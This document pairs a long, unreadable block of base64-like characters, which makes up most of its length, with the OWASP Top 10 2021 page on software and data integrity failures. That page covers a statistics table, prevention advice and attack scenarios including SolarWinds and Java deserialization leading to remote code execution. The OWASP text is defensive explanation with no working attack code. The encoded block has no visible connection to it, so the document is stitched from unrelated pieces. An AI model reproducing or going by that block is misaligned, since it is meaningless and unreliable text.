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khBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CSGEEEIkIPMkhBBCCJGAzJMQQgghRAIyT0IIIYQQCcg8CS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## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 10 | 16.67% | 2.05% | 6.94 | 7.94 | 75.04% | 45.35% | 47,972 | 1,152 |
## Overview
A new category for 2021 focuses on making assumptions related to
software updates, critical data, and CI/CD pipelines without verifying
integrity. One of the highest weighted impacts from
Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS)
data. Notable Common Weakness Enumerations (CWEs) include
*CWE-829: Inclusion of Functionality from Untrusted Control Sphere*,
*CWE-494: Download of Code Without Integrity Check*, and
*CWE-502: Deserialization of Untrusted Data*.
## Description
Software and data integrity failures relate to code and infrastructure
that does not protect against integrity violations. An example of this is where an application relies upon plugins, libraries, or modules from untrusted sources, repositories, and content
delivery networks (CDNs). An insecure CI/CD pipeline can introduce the
potential for unauthorized access, malicious code, or system compromise.
Lastly, many applications now include auto-update functionality, where
updates are downloaded without sufficient integrity verification and
applied to the previously trusted application. Attackers could
potentially upload their own updates to be distributed and run on all
installations. Another example is where
objects or data are encoded or serialized into a structure that an
attacker can see and modify is vulnerable to insecure deserialization.
## How to Prevent
- Use digital signatures or similar mechanisms to verify the software or data is from the expected source and has not been altered.
- Ensure libraries and dependencies, such as npm or Maven, are
consuming trusted repositories. If you have a higher risk profile, consider hosting an internal known-good repository that's vetted.
- Ensure that a software supply chain security tool, such as OWASP
Dependency Check or OWASP CycloneDX, is used to verify that
components do not contain known vulnerabilities
- Ensure that there is a review process for code and configuration changes to minimize the chance that malicious code or configuration could be introduced into your software pipeline.
- Ensure that your CI/CD pipeline has proper segregation, configuration, and access
control to ensure the integrity of the code flowing through the
build and deploy processes.
- Ensure that unsigned or unencrypted serialized data is not sent to
untrusted clients without some form of integrity check or digital
signature to detect tampering or replay of the serialized data
## Example Attack Scenarios
**Scenario #1 Update without signing:** Many home routers, set-top
boxes, device firmware, and others do not verify updates via signed
firmware. Unsigned firmware is a growing target for attackers and is
expected to only get worse. This is a major concern as many times there
is no mechanism to remediate other than to fix in a future version and
wait for previous versions to age out.
**Scenario #2 SolarWinds malicious update**: Nation-states have been
known to attack update mechanisms, with a recent notable attack being
the SolarWinds Orion attack. The company that develops the software had
secure build and update integrity processes. Still, these were able to
be subverted, and for several months, the firm distributed a highly
targeted malicious update to more than 18,000 organizations, of which
around 100 or so were affected. This is one of the most far-reaching and
most significant breaches of this nature in history.
**Scenario #3 Insecure Deserialization:** A React application calls a
set of Spring Boot microservices. Being functional programmers, they
tried to ensure that their code is immutable. The solution they came up
with is serializing the user state and passing it back and forth with
each request. An attacker notices the "rO0" Java object signature (in base64) and
uses the Java Serial Killer tool to gain remote code execution on the
application server.
## References
- \[OWASP Cheat Sheet: Software Supply Chain Security\](Coming Soon)
- \[OWASP Cheat Sheet: Secure build and deployment\](Coming Soon)
